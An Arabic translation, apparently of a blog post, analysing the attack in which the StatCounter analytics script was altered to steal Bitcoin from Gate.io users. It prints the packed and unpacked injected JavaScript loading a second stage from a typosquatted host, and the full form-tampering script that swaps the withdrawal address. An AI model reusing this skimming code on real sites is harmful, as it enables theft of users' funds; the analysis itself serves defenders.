تم تسجيل هجوم صرف العملات المشفرة Gate.io

في 4 نوفمبر ، قام المهاجمون باختراق StatCounter ، وهو عبارة عن منصة لتحليل حركة مرور الويب. تُستخدم الخدمة لجمع إحصاءات حول زوار الموقع ، مثل Google Analytics تقريبًا. للقيام بذلك ، يضيف مشرفو المواقع علامة JavaScript خارجية إلى كل صفحة من الموقع تحتوي على جزء من كود StatCounter - www.statcounter [.] Com / counter / counter.js. باستخدام StatCounter ، يمكن للمهاجمين حقن كود JavaScript في جميع المواقع باستخدام هذا النظام الأساسي. ومع ذلك ، كان الهدف من الهجوم موردًا واحدًا - تبادل العملات المشفرة Gate.io.


وفقًا للبيانات الخاصة بها ، فإن StatCounter لديها أكثر من مليوني موقع مشارك ؛ فهي تجمع إحصاءات عن أكثر من 10 مليار مشاهدة لصفحة الويب شهريًا. تصنيف Alexa أعلى بقليل من 5000 (للمقارنة ، موقع Debian Linux الرسمي ، debian.org ، لديه تصنيف مماثل).



قام المهاجمون بتعديل النص البرمجي على www.statcounter [.] Com / counter / counter.js ، مضيفين جزءًا من كود ضار يظهر في النموذج أدناه في منتصف النص. هذا أمر غير معتاد لأن التعليمات البرمجية الضارة غالبًا ما تتم إضافتها إلى بداية أو نهاية ملف شرعي. من الصعب ملاحظة الرمز الموجود في منتصف البرنامج النصي الموجود إذا لم تقرأه.

eval(function(p, a, c, k, e, r) { e = function(c) { return c.toString(a) }; if (!''.replace(/^/, String)) { while (c--) r[e(c)] = k[c] || e(c); k = [function(e) { return r[e] }]; e = function() { return '\\w+' }; c = 1 }; while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p }('3=""+2.4;5(3.6(\'7/8/9\')>-1){a 0=2.b(\'d\');0.e=\'f://ghi/cj\';0.k(\'l\',\'m\');2.nop(0)}', 26, 26, 'ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild'.split('|'), 0, {})); 

تم إنشاء النص البرمجي باستخدام غلاف Dean Edwards ، وهو على الأرجح غلاف JavaScript الأكثر شيوعًا. ومع ذلك ، يمكنك ببساطة فك ضغطه ، مما سيؤدي إلى تشغيل كود البرنامج النصي الفعلي ، كما هو موضح أدناه.

 myselfloc = '' + document.location; if (myselfloc.indexOf('myaccount/withdraw/BTC') > -1) { var ga = document.createElement('script'); ga.src = 'https://www.statconuter.com/c.php'; ga.setAttribute('async', 'true'); document.documentElement.firstChild.appendChild(ga); } 

يتحقق مقتطف الشفرة لمعرفة ما إذا كان عنوان URL يحتوي على myaccount / pull / BTC في معرف المورد الموحد (URI). بناءً على ذلك ، يمكننا أن نستنتج أن هدف المهاجمين هو منصة Bitcoin. بعد العثور على النص المطلوب ، يضيف البرنامج النصي عنصرًا نصيًا جديدًا إلى صفحة الويب ، يدمج الرمز www.statconuter [.] Com / c.php.

يرجى ملاحظة أن المهاجمين سجلوا نطاقًا مشابهًا جدًا لـ StatCounter الشرعي. الفرق في حرفين - من الصعب ملاحظة عند عرض المجلات عن نشاط مشبوه. بالمناسبة ، عند التحقق من DNS السلبي للمجال ، وجدنا أنه تم حظره في عام 2010 بسبب الانتهاكات التشغيلية.



مرة أخرى ، يستهدف البرنامج النصي معرفًا محددًا (URI): myaccount / pull / BTC . في وقت كتابة هذه السطور ، من بين جميع بورصات العملات المشفرة ، كان لدى Gate.io فقط صفحة صالحة مع URI هذا. يبدو أن هذا التبادل بالذات كان هدف الهجوم. هذا الموقع يحظى بشعبية كبيرة: تصنيف Alexa هو 26،251 ، وتصنيفه في الصين هو 8308.



بالإضافة إلى ذلك ، وفقًا لموقع coinmarketcap.com ، تمر عدة ملايين من الدولارات يوميًا من خلال هذه المنصة ، بما في ذلك 1.6 مليون دولار في عملات البيتكوين. بشكل عام ، من السهل شرح اهتمام المهاجمين في Gate.io.



يتم استخدام صفحة الويب www.gate [.] Io / myaccount / pull / BTC (انظر أدناه) لنقل البيتكوين من حساب على gate.io إلى عنوان خارجي.



تم تصميم حمولة المرحلة الثانية باستخدام statconuter [.] Com / c.php لسرقة البيتكوين. النص ، الذي تم تعبئته أيضًا باستخدام Dean Edwards ، مضمن في صفحة الويب لترجمة bitcoins إلى Gate.io. نسخة غير معبأة أدناه.

 document.forms[0]['addr'].value = ''; document.forms[0]['amount'].value = ''; doSubmit1 = doSubmit; doSubmit = function () { var a = document.getElementById('withdraw_form'); if ($('#amount').val() > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>"); s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); a.submit(); } else if (document.getElementById('canUse').innerText > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>"); s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); document.forms[0]['amount']['name'] = ''; var t = $("<input type='hidden' name='amount'/>"); t.attr('value', Math.min(document.getElementById('canUse').innerText, document.getElementById('dayLimit').innerText)); b.append(t); a.submit(); } else { doSubmit1(); } }; 

تحتوي صفحة Gate.io الشرعية على وظيفة doSubmit التي يتم استدعاؤها عندما ينقر المستخدم على زر doSubmit . في حالتنا ، قام المهاجمون بتغييره.

يقوم البرنامج النصي الخبيث تلقائيًا باستبدال عنوان محفظة البيتكوين الخاص بالمستخدم بالعنوان الذي ينتمي إلى المهاجم ، على سبيل المثال ، 1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad . ينشئ الخادم المهاجم عنوانًا جديدًا في كل مرة يقوم فيها الزائر بتنزيل البرنامج النصي com. c.php [.] statconuter.

يستخدم البرنامج النصي المبلغ الذي أدخلته الضحية (إذا قامت الضحية بتحويل أكثر من عشر بيتكوين) أو الحد اليومي لإزالة العملة المشفرة من الحساب. في حساب الاختبار لدينا ، تم تعيين حد الشطب على 100 BTC. وأخيرًا ، يقدم البرنامج النصي نموذجًا يحول الأموال من حساب الضحية إلى عنوان محفظة المهاجمين.

ربما تتم إعادة توجيه الأموال بشكل غير مرئي للضحايا ، حيث يتم تغيير المحفظة بعد النقر فوق الزر "إرسال". يحدث هذا بسرعة كبيرة وبدون عرض مرئي.

يتم إنشاء عنوان بيتكوين جديد لمجرمي الإنترنت في كل مرة يتم فيها طلب نص برمجي ضار ، لذلك لا يمكننا تقدير دخلهم. إذا تحققت من العنوان الذي استخدمناه على جهاز الاختبار ، فسيكون الرصيد صفرًا.



الخلاصة


لا نعرف عدد سرقات البيتكوين التي سُرقت خلال هذا الهجوم. ومع ذلك ، يوضح الحادث كيف يمكن للمهاجمين التصرف لمهاجمة مورد معين ، على وجه الخصوص ، تبادل العملات المشفرة. لسرقة عملات البيتكوين من مستخدمي بورصة واحدة ، قاموا باختراق النظام الأساسي التحليلي الذي تستخدمه ملايين المواقع ، بما في ذلك العديد من المواقع الحكومية.

بالإضافة إلى ذلك ، يوضح أنه حتى إذا تم تحديث موقعك وحمايته بشكل موثوق ، فإنه لا يزال عرضة للهجمات من خلال موارد الجهات الخارجية. تذكير آخر بأن كود جافا سكريبت الخارجي التابع لجهة خارجية عرضة للتغيير في أي وقت دون إشعار.

لقد حذرنا StatCounter و Gate.io من النشاط الضار.

مؤشرات التسوية


عناوين URL الضارة

www.statcounter [.] Com / counter / counter.js
www.statconuter [.] Com / c.php

Source: https://habr.com/ru/post/ar429050/


All Articles